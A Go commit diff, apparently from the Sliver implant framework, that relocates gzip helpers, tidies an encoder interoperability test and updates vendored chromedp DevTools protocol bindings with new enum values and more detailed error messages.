t.Errorf("server/implant outputs do not match returned\n%#v != %#v", sample, data)
}
}
func randomDataRandomSize(maxSize int) []byte {
buf := make([]byte, insecureRand.Intn(maxSize))
rand.Read(buf)
return buf
}
func TestGzipGunzip(t *testing.T) {
for i := 0; i < 100; i++ {
data := randomDataRandomSize(8192)
gzipData := GzipBuf(data)
gunzipData := GunzipBuf(gzipData)
if !bytes.Equal(data, gunzipData) {
t.Fatalf("Data does not match")
}
}
}
+9 -9
View File
@@ -1,12 +1,5 @@
package encoders
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -25,6 +18,13 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"testing"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
)
func TestHex(t *testing.T) {
sample := randomData()
@@ -51,8 +51,8 @@ func TestHex(t *testing.T) {
}
// Interoperability
if bytes.Compare(output, output2) != 0 {
t.Errorf("impant encoder does not match server-side encoder %s", err)
if !bytes.Equal(output, output2) {
t.Errorf("implant encoder does not match server-side encoder %s", err)
}
data3, err := implantHex.Decode(output)
-17
View File
@@ -30,23 +30,6 @@ import (
"path/filepath"
)
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
zip := gzip.NewWriter(&buf)
zip.Write(data)
zip.Close()
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
// DeflateBuf - Deflate a buffer using BestCompression (9)
func DeflateBuf(data []byte) []byte {
var buf bytes.Buffer
-13
View File
@@ -19,10 +19,8 @@ package util
*/
import (
"bytes"
"crypto/rand"
insecureRand "math/rand"
"testing"
)
func randomDataRandomSize(maxSize int) []byte {
@@ -30,14 +28,3 @@ func randomDataRandomSize(maxSize int) []byte {
rand.Read(buf)
return buf
}
func TestGzipGunzip(t *testing.T) {
for i := 0; i < 100; i++ {
data := randomDataRandomSize(8192)
gzipData := GzipBuf(data)
gunzipData := GunzipBuf(gzipData)
if !bytes.Equal(data, gunzipData) {
t.Fatalf("Data does not match")
}
}
}
+13 -9
View File
@@ -3,7 +3,7 @@ package accessibility
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
@@ -64,7 +64,8 @@ func (t ValueType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueType(in.String()) {
v := in.String()
switch ValueType(v) {
case ValueTypeBoolean:
*t = ValueTypeBoolean
case ValueTypeTristate:
@@ -101,7 +102,7 @@ func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ValueTypeValueUndefined
default:
in.AddError(errors.New("unknown ValueType value"))
in.AddError(fmt.Errorf("unknown ValueType value: %v", v))
}
}
@@ -142,7 +143,8 @@ func (t ValueSourceType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueSourceType(in.String()) {
v := in.String()
switch ValueSourceType(v) {
case ValueSourceTypeAttribute:
*t = ValueSourceTypeAttribute
case ValueSourceTypeImplicit:
@@ -157,7 +159,7 @@ func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ValueSourceTypeRelatedElement
default:
in.AddError(errors.New("unknown ValueSourceType value"))
in.AddError(fmt.Errorf("unknown ValueSourceType value: %v", v))
}
}
@@ -203,7 +205,8 @@ func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ValueNativeSourceType(in.String()) {
v := in.String()
switch ValueNativeSourceType(v) {
case ValueNativeSourceTypeDescription:
*t = ValueNativeSourceTypeDescription
case ValueNativeSourceTypeFigcaption:
@@ -226,7 +229,7 @@ func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ValueNativeSourceTypeOther
default:
in.AddError(errors.New("unknown ValueNativeSourceType value"))
in.AddError(fmt.Errorf("unknown ValueNativeSourceType value: %v", v))
}
}
@@ -347,7 +350,8 @@ func (t PropertyName) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PropertyName(in.String()) {
v := in.String()
switch PropertyName(v) {
case PropertyNameBusy:
*t = PropertyNameBusy
case PropertyNameDisabled:
@@ -428,7 +432,7 @@ func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PropertyNameOwns
default:
in.AddError(errors.New("unknown PropertyName value"))
in.AddError(fmt.Errorf("unknown PropertyName value: %v", v))
}
}
+4 -3
View File
@@ -3,7 +3,7 @@ package animation
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
@@ -88,7 +88,8 @@ func (t Type) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch Type(in.String()) {
v := in.String()
switch Type(v) {
case TypeCSSTransition:
*t = TypeCSSTransition
case TypeCSSAnimation:
@@ -97,7 +98,7 @@ func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = TypeWebAnimation
default:
in.AddError(errors.New("unknown Type value"))
in.AddError(fmt.Errorf("unknown Type value: %v", v))
}
}
+7
View File
@@ -1465,6 +1465,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAudits12(in *jlexer.Lexer, ou
(out.ErrorType).UnmarshalEasyJSON(in)
case "frameId":
(out.FrameID).UnmarshalEasyJSON(in)
case "violatingNodeId":
(out.ViolatingNodeID).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
@@ -1489,6 +1491,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAudits12(out *jwriter.Writer,
out.RawString(prefix)
out.String(string(in.FrameID))
}
if in.ViolatingNodeID != 0 {
const prefix string = ",\"violatingNodeId\":"
out.RawString(prefix)
out.Int64(int64(in.ViolatingNodeID))
}
out.RawByte('}')
}
+107 -76
View File
@@ -3,7 +3,7 @@ package audits
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/network"
@@ -51,13 +51,14 @@ func (t CookieExclusionReason) String() string {
// CookieExclusionReason values.
const (
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet CookieExclusionReason = "ExcludeThirdPartyCookieBlockedInFirstPartySet"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -72,7 +73,8 @@ func (t CookieExclusionReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CookieExclusionReason(in.String()) {
v := in.String()
switch CookieExclusionReason(v) {
case CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax:
*t = CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax
case CookieExclusionReasonExcludeSameSiteNoneInsecure:
@@ -87,9 +89,11 @@ func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CookieExclusionReasonExcludeSamePartyCrossPartyContext
case CookieExclusionReasonExcludeDomainNonASCII:
*t = CookieExclusionReasonExcludeDomainNonASCII
case CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet:
*t = CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet
default:
in.AddError(errors.New("unknown CookieExclusionReason value"))
in.AddError(fmt.Errorf("unknown CookieExclusionReason value: %v", v))
}
}
@@ -134,7 +138,8 @@ func (t CookieWarningReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CookieWarningReason(in.String()) {
v := in.String()
switch CookieWarningReason(v) {
case CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext:
*t = CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext
case CookieWarningReasonWarnSameSiteNoneInsecure:
@@ -157,7 +162,7 @@ func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CookieWarningReasonWarnDomainNonASCII
default:
in.AddError(errors.New("unknown CookieWarningReason value"))
in.AddError(fmt.Errorf("unknown CookieWarningReason value: %v", v))
}
}
@@ -194,14 +199,15 @@ func (t CookieOperation) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CookieOperation) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CookieOperation(in.String()) {
v := in.String()
switch CookieOperation(v) {
case CookieOperationSetCookie:
*t = CookieOperationSetCookie
case CookieOperationReadCookie:
*t = CookieOperationReadCookie
default:
in.AddError(errors.New("unknown CookieOperation value"))
in.AddError(fmt.Errorf("unknown CookieOperation value: %v", v))
}
}
@@ -255,7 +261,8 @@ func (t MixedContentResolutionStatus) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch MixedContentResolutionStatus(in.String()) {
v := in.String()
switch MixedContentResolutionStatus(v) {
case MixedContentResolutionStatusMixedContentBlocked:
*t = MixedContentResolutionStatusMixedContentBlocked
case MixedContentResolutionStatusMixedContentAutomaticallyUpgraded:
@@ -264,7 +271,7 @@ func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = MixedContentResolutionStatusMixedContentWarning
default:
in.AddError(errors.New("unknown MixedContentResolutionStatus value"))
in.AddError(fmt.Errorf("unknown MixedContentResolutionStatus value: %v", v))
}
}
@@ -326,7 +333,8 @@ func (t MixedContentResourceType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch MixedContentResourceType(in.String()) {
v := in.String()
switch MixedContentResourceType(v) {
case MixedContentResourceTypeAttributionSrc:
*t = MixedContentResourceTypeAttributionSrc
case MixedContentResourceTypeAudio:
@@ -383,7 +391,7 @@ func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = MixedContentResourceTypeXSLT
default:
in.AddError(errors.New("unknown MixedContentResourceType value"))
in.AddError(fmt.Errorf("unknown MixedContentResourceType value: %v", v))
}
}
@@ -436,7 +444,8 @@ func (t BlockedByResponseReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch BlockedByResponseReason(in.String()) {
v := in.String()
switch BlockedByResponseReason(v) {
case BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader:
*t = BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader
case BlockedByResponseReasonCoopSandboxedIFrameCannotNavigateToCoopPage:
@@ -449,7 +458,7 @@ func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = BlockedByResponseReasonCorpNotSameSite
default:
in.AddError(errors.New("unknown BlockedByResponseReason value"))
in.AddError(fmt.Errorf("unknown BlockedByResponseReason value: %v", v))
}
}
@@ -498,14 +507,15 @@ func (t HeavyAdResolutionStatus) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *HeavyAdResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch HeavyAdResolutionStatus(in.String()) {
v := in.String()
switch HeavyAdResolutionStatus(v) {
case HeavyAdResolutionStatusHeavyAdBlocked:
*t = HeavyAdResolutionStatusHeavyAdBlocked
case HeavyAdResolutionStatusHeavyAdWarning:
*t = HeavyAdResolutionStatusHeavyAdWarning
default:
in.AddError(errors.New("unknown HeavyAdResolutionStatus value"))
in.AddError(fmt.Errorf("unknown HeavyAdResolutionStatus value: %v", v))
}
}
@@ -543,7 +553,8 @@ func (t HeavyAdReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch HeavyAdReason(in.String()) {
v := in.String()
switch HeavyAdReason(v) {
case HeavyAdReasonNetworkTotalLimit:
*t = HeavyAdReasonNetworkTotalLimit
case HeavyAdReasonCPUTotalLimit:
@@ -552,7 +563,7 @@ func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = HeavyAdReasonCPUPeakLimit
default:
in.AddError(errors.New("unknown HeavyAdReason value"))
in.AddError(fmt.Errorf("unknown HeavyAdReason value: %v", v))
}
}
@@ -602,7 +613,8 @@ func (t ContentSecurityPolicyViolationType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ContentSecurityPolicyViolationType(in.String()) {
v := in.String()
switch ContentSecurityPolicyViolationType(v) {
case ContentSecurityPolicyViolationTypeKInlineViolation:
*t = ContentSecurityPolicyViolationTypeKInlineViolation
case ContentSecurityPolicyViolationTypeKEvalViolation:
@@ -617,7 +629,7 @@ func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
*t = ContentSecurityPolicyViolationTypeKWasmEvalViolation
default:
in.AddError(errors.New("unknown ContentSecurityPolicyViolationType value"))
in.AddError(fmt.Errorf("unknown ContentSecurityPolicyViolationType value: %v", v))
}
}
@@ -677,14 +689,15 @@ func (t SharedArrayBufferIssueType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SharedArrayBufferIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SharedArrayBufferIssueType(in.String()) {
v := in.String()
switch SharedArrayBufferIssueType(v) {
case SharedArrayBufferIssueTypeTransferIssue:
*t = SharedArrayBufferIssueTypeTransferIssue
case SharedArrayBufferIssueTypeCreationIssue:
*t = SharedArrayBufferIssueTypeCreationIssue
default:
in.AddError(errors.New("unknown SharedArrayBufferIssueType value"))
in.AddError(fmt.Errorf("unknown SharedArrayBufferIssueType value: %v", v))
}
}
@@ -733,7 +746,8 @@ func (t TwaQualityEnforcementViolationType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch TwaQualityEnforcementViolationType(in.String()) {
v := in.String()
switch TwaQualityEnforcementViolationType(v) {
case TwaQualityEnforcementViolationTypeKHTTPError:
*t = TwaQualityEnforcementViolationTypeKHTTPError
case TwaQualityEnforcementViolationTypeKUnavailableOffline:
@@ -742,7 +756,7 @@ func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
*t = TwaQualityEnforcementViolationTypeKDigitalAssetLinks
default:
in.AddError(errors.New("unknown TwaQualityEnforcementViolationType value"))
in.AddError(fmt.Errorf("unknown TwaQualityEnforcementViolationType value: %v", v))
}
}
@@ -826,7 +840,8 @@ func (t AttributionReportingIssueType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AttributionReportingIssueType(in.String()) {
v := in.String()
switch AttributionReportingIssueType(v) {
case AttributionReportingIssueTypePermissionPolicyDisabled:
*t = AttributionReportingIssueTypePermissionPolicyDisabled
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
@@ -851,7 +866,7 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = AttributionReportingIssueTypeTriggerIgnored
default:
in.AddError(errors.New("unknown AttributionReportingIssueType value"))
in.AddError(fmt.Errorf("unknown AttributionReportingIssueType value: %v", v))
}
}
@@ -905,6 +920,7 @@ func (t GenericIssueErrorType) String() string {
// GenericIssueErrorType values.
const (
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
GenericIssueErrorTypeFormLabelForNameError GenericIssueErrorType = "FormLabelForNameError"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -919,12 +935,15 @@ func (t GenericIssueErrorType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch GenericIssueErrorType(in.String()) {
v := in.String()
switch GenericIssueErrorType(v) {
case GenericIssueErrorTypeCrossOriginPortalPostMessageError:
*t = GenericIssueErrorTypeCrossOriginPortalPostMessageError
case GenericIssueErrorTypeFormLabelForNameError:
*t = GenericIssueErrorTypeFormLabelForNameError
default:
in.AddError(errors.New("unknown GenericIssueErrorType value"))
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
}
}
@@ -938,8 +957,9 @@ func (t *GenericIssueErrorType) UnmarshalJSON(buf []byte) error {
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueDetails
type GenericIssueDetails struct {
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
FrameID cdp.FrameID `json:"frameId,omitempty"`
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
FrameID cdp.FrameID `json:"frameId,omitempty"`
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
}
// DeprecationIssueType [no description].
@@ -977,14 +997,14 @@ const (
DeprecationIssueTypeLocalCSSFileExtensionRejected DeprecationIssueType = "LocalCSSFileExtensionRejected"
DeprecationIssueTypeMediaSourceAbortRemove DeprecationIssueType = "MediaSourceAbortRemove"
DeprecationIssueTypeMediaSourceDurationTruncatingBuffered DeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
DeprecationIssueTypeNavigateEventRestoreScroll DeprecationIssueType = "NavigateEventRestoreScroll"
DeprecationIssueTypeNavigateEventTransitionWhile DeprecationIssueType = "NavigateEventTransitionWhile"
DeprecationIssueTypeNoSysexWebMIDIWithoutPermission DeprecationIssueType = "NoSysexWebMIDIWithoutPermission"
DeprecationIssueTypeNotificationInsecureOrigin DeprecationIssueType = "NotificationInsecureOrigin"
DeprecationIssueTypeNotificationPermissionRequestedIframe DeprecationIssueType = "NotificationPermissionRequestedIframe"
DeprecationIssueTypeObsoleteWebRtcCipherSuite DeprecationIssueType = "ObsoleteWebRtcCipherSuite"
DeprecationIssueTypeOpenWebDatabaseInsecureContext DeprecationIssueType = "OpenWebDatabaseInsecureContext"
DeprecationIssueTypeOverflowVisibleOnReplacedElement DeprecationIssueType = "OverflowVisibleOnReplacedElement"
DeprecationIssueTypePaymentInstruments DeprecationIssueType = "PaymentInstruments"
DeprecationIssueTypePaymentRequestCSPViolation DeprecationIssueType = "PaymentRequestCSPViolation"
DeprecationIssueTypePersistentQuotaType DeprecationIssueType = "PersistentQuotaType"
DeprecationIssueTypePictureSourceSrc DeprecationIssueType = "PictureSourceSrc"
DeprecationIssueTypePrefixedCancelAnimationFrame DeprecationIssueType = "PrefixedCancelAnimationFrame"
@@ -1023,7 +1043,8 @@ func (t DeprecationIssueType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DeprecationIssueType(in.String()) {
v := in.String()
switch DeprecationIssueType(v) {
case DeprecationIssueTypeAuthorizationCoveredByWildcard:
*t = DeprecationIssueTypeAuthorizationCoveredByWildcard
case DeprecationIssueTypeCanRequestURLHTTPContainingNewline:
@@ -1070,10 +1091,6 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DeprecationIssueTypeMediaSourceAbortRemove
case DeprecationIssueTypeMediaSourceDurationTruncatingBuffered:
*t = DeprecationIssueTypeMediaSourceDurationTruncatingBuffered
case DeprecationIssueTypeNavigateEventRestoreScroll:
*t = DeprecationIssueTypeNavigateEventRestoreScroll
case DeprecationIssueTypeNavigateEventTransitionWhile:
*t = DeprecationIssueTypeNavigateEventTransitionWhile
case DeprecationIssueTypeNoSysexWebMIDIWithoutPermission:
*t = DeprecationIssueTypeNoSysexWebMIDIWithoutPermission
case DeprecationIssueTypeNotificationInsecureOrigin:
@@ -1086,6 +1103,10 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DeprecationIssueTypeOpenWebDatabaseInsecureContext
case DeprecationIssueTypeOverflowVisibleOnReplacedElement:
*t = DeprecationIssueTypeOverflowVisibleOnReplacedElement
case DeprecationIssueTypePaymentInstruments:
*t = DeprecationIssueTypePaymentInstruments
case DeprecationIssueTypePaymentRequestCSPViolation:
*t = DeprecationIssueTypePaymentRequestCSPViolation
case DeprecationIssueTypePersistentQuotaType:
*t = DeprecationIssueTypePersistentQuotaType
case DeprecationIssueTypePictureSourceSrc:
@@ -1136,7 +1157,7 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DeprecationIssueTypeXRSupportsSession
default:
in.AddError(errors.New("unknown DeprecationIssueType value"))
in.AddError(fmt.Errorf("unknown DeprecationIssueType value: %v", v))
}
}
@@ -1184,14 +1205,15 @@ func (t ClientHintIssueReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ClientHintIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ClientHintIssueReason(in.String()) {
v := in.String()
switch ClientHintIssueReason(v) {
case ClientHintIssueReasonMetaTagAllowListInvalidOrigin:
*t = ClientHintIssueReasonMetaTagAllowListInvalidOrigin
case ClientHintIssueReasonMetaTagModifiedHTML:
*t = ClientHintIssueReasonMetaTagModifiedHTML
default:
in.AddError(errors.New("unknown ClientHintIssueReason value"))
in.AddError(fmt.Errorf("unknown ClientHintIssueReason value: %v", v))
}
}
@@ -1225,14 +1247,15 @@ func (t FederatedAuthRequestIssueReason) String() string {
const (
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
FederatedAuthRequestIssueReasonManifestListHTTPNotFound FederatedAuthRequestIssueReason = "ManifestListHttpNotFound"
FederatedAuthRequestIssueReasonManifestListNoResponse FederatedAuthRequestIssueReason = "ManifestListNoResponse"
FederatedAuthRequestIssueReasonManifestListInvalidResponse FederatedAuthRequestIssueReason = "ManifestListInvalidResponse"
FederatedAuthRequestIssueReasonManifestNotInManifestList FederatedAuthRequestIssueReason = "ManifestNotInManifestList"
FederatedAuthRequestIssueReasonManifestListTooBig FederatedAuthRequestIssueReason = "ManifestListTooBig"
FederatedAuthRequestIssueReasonManifestHTTPNotFound FederatedAuthRequestIssueReason = "ManifestHttpNotFound"
FederatedAuthRequestIssueReasonManifestNoResponse FederatedAuthRequestIssueReason = "ManifestNoResponse"
FederatedAuthRequestIssueReasonManifestInvalidResponse FederatedAuthRequestIssueReason = "ManifestInvalidResponse"
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
@@ -1242,6 +1265,7 @@ const (
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
@@ -1263,27 +1287,30 @@ func (t FederatedAuthRequestIssueReason) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch FederatedAuthRequestIssueReason(in.String()) {
v := in.String()
switch FederatedAuthRequestIssueReason(v) {
case FederatedAuthRequestIssueReasonShouldEmbargo:
*t = FederatedAuthRequestIssueReasonShouldEmbargo
case FederatedAuthRequestIssueReasonTooManyRequests:
*t = FederatedAuthRequestIssueReasonTooManyRequests
case FederatedAuthRequestIssueReasonManifestListHTTPNotFound:
*t = FederatedAuthRequestIssueReasonManifestListHTTPNotFound
case FederatedAuthRequestIssueReasonManifestListNoResponse:
*t = FederatedAuthRequestIssueReasonManifestListNoResponse
case FederatedAuthRequestIssueReasonManifestListInvalidResponse:
*t = FederatedAuthRequestIssueReasonManifestListInvalidResponse
case FederatedAuthRequestIssueReasonManifestNotInManifestList:
*t = FederatedAuthRequestIssueReasonManifestNotInManifestList
case FederatedAuthRequestIssueReasonManifestListTooBig:
*t = FederatedAuthRequestIssueReasonManifestListTooBig
case FederatedAuthRequestIssueReasonManifestHTTPNotFound:
*t = FederatedAuthRequestIssueReasonManifestHTTPNotFound
case FederatedAuthRequestIssueReasonManifestNoResponse:
*t = FederatedAuthRequestIssueReasonManifestNoResponse
case FederatedAuthRequestIssueReasonManifestInvalidResponse:
*t = FederatedAuthRequestIssueReasonManifestInvalidResponse
case FederatedAuthRequestIssueReasonWellKnownHTTPNotFound:
*t = FederatedAuthRequestIssueReasonWellKnownHTTPNotFound
case FederatedAuthRequestIssueReasonWellKnownNoResponse:
*t = FederatedAuthRequestIssueReasonWellKnownNoResponse
case FederatedAuthRequestIssueReasonWellKnownInvalidResponse:
*t = FederatedAuthRequestIssueReasonWellKnownInvalidResponse
case FederatedAuthRequestIssueReasonWellKnownListEmpty:
*t = FederatedAuthRequestIssueReasonWellKnownListEmpty
case FederatedAuthRequestIssueReasonConfigNotInWellKnown:
